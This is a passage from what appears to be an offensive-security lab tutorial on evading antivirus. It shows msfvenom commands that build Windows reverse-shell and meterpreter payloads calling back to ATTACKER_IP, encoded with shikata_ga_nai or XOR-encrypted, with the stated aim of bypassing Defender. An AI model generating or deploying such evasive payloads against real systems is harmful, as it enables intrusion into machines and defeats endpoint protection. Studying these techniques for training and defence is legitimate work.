Public Tools such as Metasploit provide encoding and encryption features. However, AV vendors are aware of the way these tools build their payloads and take measures to detect them. If you try using such features out of the box, chances are your payload will be detected as soon as the file touches the victim's disk.
Let's generate a simple payload with this method to prove that point. First of all, you can list all of the encoders available to msfvenom with the following command:
Listing Encoders within the Metasploit Framework
msfvenom --list encoders | grep excellent
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
We can indicate we want to use the shikata_ga_nai encoder with the -e(encoder) switch and then specify we want to encode the payload three times with the -i (iterations) switch:
Encoding using the Metasploit Framework (Shikata_ga_nai)
msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
If encoding doesn't work, we can always try encrypting the payload. Intuitively, we would expect this to have a higher success rating, as decrypting the payload should prove a harder task for the AV. Let's try that now.
You can easily generate encrypted payloads using msfvenom. The choices for encryption algorithms are, however, a bit scarce. To list the available encryption algorithms, you can use the following command:
Listing encryption modules within the Metasploit Framework
msfvenom --list encryptFramework Encryption Formats [--encrypt <value>]
================================================
Name
----
aes256
base64
rc4
xor
Let's build an XOR encrypted payload. For this type of algorithm, you will need to specify a key. The command would look as follows:
Xoring Shellcode using the Metasploit Framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
The best way to overcome this is to use our own custom encoding schemes so that the AV doesn't know what to do to analyze our payload. Notice you don't have to do anything too complex, as long as it is confusing enough for the AV to analyze. For this task, we will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.
Let's start by generating a reverse shell with msfvenom in CSharp format: